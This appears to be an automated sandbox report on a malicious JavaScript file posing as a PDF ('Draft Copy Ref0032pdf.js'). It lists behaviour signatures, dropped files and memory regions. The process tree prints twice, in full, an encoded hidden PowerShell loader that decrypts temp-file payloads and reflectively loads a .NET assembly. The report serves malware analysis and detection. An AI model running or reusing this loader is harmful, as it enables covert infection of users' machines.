Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 08:33

General

  • Target
    Draft Copy Ref0032pdf.js
  • Size 134KB
  • Sample260831-kf2ltsfp5v
  • SHA256 77cf7f13ed57bcace0f6c4519b63a1cf5843ba4abc18781225b7d251fd6bffd4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 22 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Draft Copy Ref0032pdf.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6080
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -EncodedCommand JABZAE4ARQBxAGIAcAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgAxADUANQAyACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABHAGQASgBiAGEATgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgAxADcANwA0ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB4AFAAeABUAGEASAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAFkATgBFAHEAYgBwACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJABHAGQASgBiAGEATgApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABZAE4ARQBxAGIAcAAsACQARwBkAEoAYgBhAE4AIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAdwBFAFgAZABmAHMAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeABQAHgAVABhAEgAKQA7ACQAYwBFAGYAegBaAEIAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwAnACsAJwByAGEAcABoAHkALgBBACcAKwAnAGUAcwBNAGEAJwArACcAbgBhAGcAZQBkACcAOwAkAGwAeQBqAG4AdABpAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAdgBhACcAKwAnAHQAbwByACcAKQA7ACQAbAB5AGoAbgB0AGkAPQAkAGwAeQBqAG4AdABpADoAOgAoACcAQwByAGUAYQB0AGUASQAnACsAJwBuAHMAdABhACcAKwAnAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAYwBFAGYAegBaAEIAKQA7ACQAbAB5AGoAbgB0AGkALgBNAG8AZABlAD0AMQA7ACQAbAB5AGoAbgB0AGkALgBQAGEAZABkAGkAbgBnAD0AMgA7ACQAbAB5AGoAbgB0AGkALgBLAGUAeQA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEEARAAsADAAeAA2AEQALAAwAHgAMAA3ACwAMAB4AEIAMwAsADAAeAAzADMALAAwAHgARQBCACwAMAB4AEIAMgAsADAAeABCADIALAAwAHgAQwAyACwAMAB4ADQANQAsADAAeABEADkALAAwAHgAOAA0ACwAMAB4AEMARAAsADAAeABFAEMALAAwAHgANAA0ACwAMAB4ADcAMAApADsAJABsAHkAagBuAHQAaQAuAEkAVgA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADAAQgAsADAAeAA2AEYALAAwAHgAQQBBACwAMAB4ADcARQAsADAAeAAxAEUALAAwAHgANgA1ACwAMAB4ADIANAAsADAAeAAwAEUALAAwAHgARgBGACwAMAB4ADYARAAsADAAeAAxADMALAAwAHgAQwA4ACwAMAB4ADQAQgAsADAAeAA4AEUALAAwAHgAQQBCACwAMAB4ADEAMAApADsAJABQAEcATgBJAEUAbgA9AEAAKAAyADMAMgAsADEAOQA5ACwAOAApADsAJABuAHUAbABsAD0AJABQAEcATgBJAEUAbgAuAEMAbwB1AG4AdAA7ACQARABSAEoAUwBqAHIAPQAnAEMAcgBlAGEAdAAnACsAJwBlAEQAZQBjAHIAeQBwAHQAbwByACcAOwAkAFoAagBZAG0ARwBtAD0AJABsAHkAagBuAHQAaQAuACQARABSAEoAUwBqAHIAKAApADsAJAB5AEUAdABQAEEATwA9ACcARABEAGsAeQBWAFIAJwA7ACQAbgB1AGwAbAA9ACQAeQBFAHQAUABBAE8ALgBMAGUAbgBnAHQAaAA7ACQASQBPAGkAWQBmAEsAPQAnAFQAcgBhAG4AcwBmAG8AcgBtAEYAJwArACcAaQBuACcAKwAnAGEAbABCAGwAbwAnACsAJwBjAGsAJwA7ACQAWgBkAHAAdABJAGYAPQAkAFoAagBZAG0ARwBtAC4AJABJAE8AaQBZAGYASwAoACQAdwBFAFgAZABmAHMALAAwACwAJAB3AEUAWABkAGYAcwAuAEwAZQBuAGcAdABoACkAOwAkAGkAUgB5AGwAVQBtAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByACcAKwAnAGUAYQBtACcAOwAkAHEAQQBDAFkARwBVAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAaQBSAHkAbABVAG0AKAAsACQAWgBkAHAAdABJAGYAKQA7ACQARABLAGoAbwBWAFUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABpAFIAeQBsAFUAbQA7ACQAcABIAFMAWgB6AHkAPQAnAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AJwArACcARwBaAGkAcABTAHQAcgBlACcAKwAnAGEAbQAnADsAJABlAHYAWgBpAEUAZQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAHAASABTAFoAegB5ACgAJABxAEEAQwBZAEcAVQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAHoAdwBQAEoASQBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANAAwADkANgA7AHcAaABpAGwAZQAoACgAJAB5AGkAbABQAGQAYwA9ACQAZQB2AFoAaQBFAGUALgBSAGUAYQBkACgAJAB6AHcAUABKAEkAQwAsADAALAAkAHoAdwBQAEoASQBDAC4ATABlAG4AZwB0AGgAKQApAC0AZwB0ACAAMAApAHsAJABEAEsAagBvAFYAVQAuAFcAcgBpAHQAZQAoACQAegB3AFAASgBJAEMALAAwACwAJAB5AGkAbABQAGQAYwApAH0AOwAkAGIAVABpAGwARgBnAD0AMwA4ADEAOwAkAE0AbABGAEMAZwBpAD0AJABiAFQAaQBsAEYAZwAqADMAKwAzADAAOwAkAFoAZABwAHQASQBmAD0AJABEAEsAagBvAFYAVQAuAFQAbwBBAHIAcgBhAHkAKAApADsAJABOAEkAdwBQAHkAcQA9AFsAdAB5AHAAZQBdACgAJwBTAHkAcwB0ACcAKwAnAGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBACcAKwAnAHMAcwBlAG0AYgBsAHkAJwApADsAJABFAFgAQwBvAGoAWQA9ACQATgBJAHcAUAB5AHEAOgA6ACgAJwBMAG8AJwArACcAYQBkACcAKQAoACQAWgBkAHAAdABJAGYAKQA7ACQASgB3AEwAbAB6AEYAPQAnAEUAbgAnACsAJwB0AHIAeQAnACsAJwBQAG8AaQBuAHQAJwA7ACQASgBOAEcAaABsAHIAPQAkAEUAWABDAG8AagBZAC4AJABKAHcATABsAHoARgA7ACQASgBOAEcAaABsAHIALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACgALABbAHMAdAByAGkAbgBnAFsAXQBdAEAAKAApACkAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABZAE4ARQBxAGIAcAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgAxADUANQAyACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABHAGQASgBiAGEATgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgAxADcANwA0ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB4AFAAeABUAGEASAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAFkATgBFAHEAYgBwACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJABHAGQASgBiAGEATgApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABZAE4ARQBxAGIAcAAsACQARwBkAEoAYgBhAE4AIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAdwBFAFgAZABmAHMAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeABQAHgAVABhAEgAKQA7ACQAYwBFAGYAegBaAEIAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwAnACsAJwByAGEAcABoAHkALgBBACcAKwAnAGUAcwBNAGEAJwArACcAbgBhAGcAZQBkACcAOwAkAGwAeQBqAG4AdABpAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAdgBhACcAKwAnAHQAbwByACcAKQA7ACQAbAB5AGoAbgB0AGkAPQAkAGwAeQBqAG4AdABpADoAOgAoACcAQwByAGUAYQB0AGUASQAnACsAJwBuAHMAdABhACcAKwAnAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAYwBFAGYAegBaAEIAKQA7ACQAbAB5AGoAbgB0AGkALgBNAG8AZABlAD0AMQA7ACQAbAB5AGoAbgB0AGkALgBQAGEAZABkAGkAbgBnAD0AMgA7ACQAbAB5AGoAbgB0AGkALgBLAGUAeQA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEEARAAsADAAeAA2AEQALAAwAHgAMAA3ACwAMAB4AEIAMwAsADAAeAAzADMALAAwAHgARQBCACwAMAB4AEIAMgAsADAAeABCADIALAAwAHgAQwAyACwAMAB4ADQANQAsADAAeABEADkALAAwAHgAOAA0ACwAMAB4AEMARAAsADAAeABFAEMALAAwAHgANAA0ACwAMAB4ADcAMAApADsAJABsAHkAagBuAHQAaQAuAEkAVgA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADAAQgAsADAAeAA2AEYALAAwAHgAQQBBACwAMAB4ADcARQAsADAAeAAxAEUALAAwAHgANgA1ACwAMAB4ADIANAAsADAAeAAwAEUALAAwAHgARgBGACwAMAB4ADYARAAsADAAeAAxADMALAAwAHgAQwA4ACwAMAB4ADQAQgAsADAAeAA4AEUALAAwAHgAQQBCACwAMAB4ADEAMAApADsAJABQAEcATgBJAEUAbgA9AEAAKAAyADMAMgAsADEAOQA5ACwAOAApADsAJABuAHUAbABsAD0AJABQAEcATgBJAEUAbgAuAEMAbwB1AG4AdAA7ACQARABSAEoAUwBqAHIAPQAnAEMAcgBlAGEAdAAnACsAJwBlAEQAZQBjAHIAeQBwAHQAbwByACcAOwAkAFoAagBZAG0ARwBtAD0AJABsAHkAagBuAHQAaQAuACQARABSAEoAUwBqAHIAKAApADsAJAB5AEUAdABQAEEATwA9ACcARABEAGsAeQBWAFIAJwA7ACQAbgB1AGwAbAA9ACQAeQBFAHQAUABBAE8ALgBMAGUAbgBnAHQAaAA7ACQASQBPAGkAWQBmAEsAPQAnAFQAcgBhAG4AcwBmAG8AcgBtAEYAJwArACcAaQBuACcAKwAnAGEAbABCAGwAbwAnACsAJwBjAGsAJwA7ACQAWgBkAHAAdABJAGYAPQAkAFoAagBZAG0ARwBtAC4AJABJAE8AaQBZAGYASwAoACQAdwBFAFgAZABmAHMALAAwACwAJAB3AEUAWABkAGYAcwAuAEwAZQBuAGcAdABoACkAOwAkAGkAUgB5AGwAVQBtAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByACcAKwAnAGUAYQBtACcAOwAkAHEAQQBDAFkARwBVAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAaQBSAHkAbABVAG0AKAAsACQAWgBkAHAAdABJAGYAKQA7ACQARABLAGoAbwBWAFUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABpAFIAeQBsAFUAbQA7ACQAcABIAFMAWgB6AHkAPQAnAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AJwArACcARwBaAGkAcABTAHQAcgBlACcAKwAnAGEAbQAnADsAJABlAHYAWgBpAEUAZQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAHAASABTAFoAegB5ACgAJABxAEEAQwBZAEcAVQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAHoAdwBQAEoASQBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANAAwADkANgA7AHcAaABpAGwAZQAoACgAJAB5AGkAbABQAGQAYwA9ACQAZQB2AFoAaQBFAGUALgBSAGUAYQBkACgAJAB6AHcAUABKAEkAQwAsADAALAAkAHoAdwBQAEoASQBDAC4ATABlAG4AZwB0AGgAKQApAC0AZwB0ACAAMAApAHsAJABEAEsAagBvAFYAVQAuAFcAcgBpAHQAZQAoACQAegB3AFAASgBJAEMALAAwACwAJAB5AGkAbABQAGQAYwApAH0AOwAkAGIAVABpAGwARgBnAD0AMwA4ADEAOwAkAE0AbABGAEMAZwBpAD0AJABiAFQAaQBsAEYAZwAqADMAKwAzADAAOwAkAFoAZABwAHQASQBmAD0AJABEAEsAagBvAFYAVQAuAFQAbwBBAHIAcgBhAHkAKAApADsAJABOAEkAdwBQAHkAcQA9AFsAdAB5AHAAZQBdACgAJwBTAHkAcwB0ACcAKwAnAGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBACcAKwAnAHMAcwBlAG0AYgBsAHkAJwApADsAJABFAFgAQwBvAGoAWQA9ACQATgBJAHcAUAB5AHEAOgA6ACgAJwBMAG8AJwArACcAYQBkACcAKQAoACQAWgBkAHAAdABJAGYAKQA7ACQASgB3AEwAbAB6AEYAPQAnAEUAbgAnACsAJwB0AHIAeQAnACsAJwBQAG8AaQBuAHQAJwA7ACQASgBOAEcAaABsAHIAPQAkAEUAWABDAG8AagBZAC4AJABKAHcATABsAHoARgA7ACQASgBOAEcAaABsAHIALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACgALABbAHMAdAByAGkAbgBnAFsAXQBdAEAAKAApACkAKQA=
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3824

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        13a3mtgze8t6a

        • Path C:\Users\Admin\AppData\Local\Temp\13a3mtgze8t6\13a3mtgze8t6a
        • Size 64KB
        • SHA256 1dafca300846c0d154dd16b4421bbd33b8aa4add781a2e41c6716d4f16d88a7a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        13a3mtgze8t6b

        • Path C:\Users\Admin\AppData\Local\Temp\13a3mtgze8t6\13a3mtgze8t6b
        • Size 64KB
        • SHA256 0bff82fa37b34660145896cae611d8c37d0bc35515cd6976aab019827fafb9f9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3824-12-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-13-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-6-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-5-0x0000017D7B540000-0x0000017D7B562000-memory.dmp

        memory/3824-10-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-11-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-2-0x00007FFBAD01F000-0x00007FFBAD020000-memory.dmp

        memory/3824-7-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-14-0x0000017D7B590000-0x0000017D7B5DE000-memory.dmp

        memory/3824-15-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-17-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-16-0x0000017D7BA40000-0x0000017D7BA52000-memory.dmp

        memory/3824-18-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-19-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-20-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp

        memory/3824-22-0x00007FFBACE90000-0x00007FFBAD834000-memory.dmp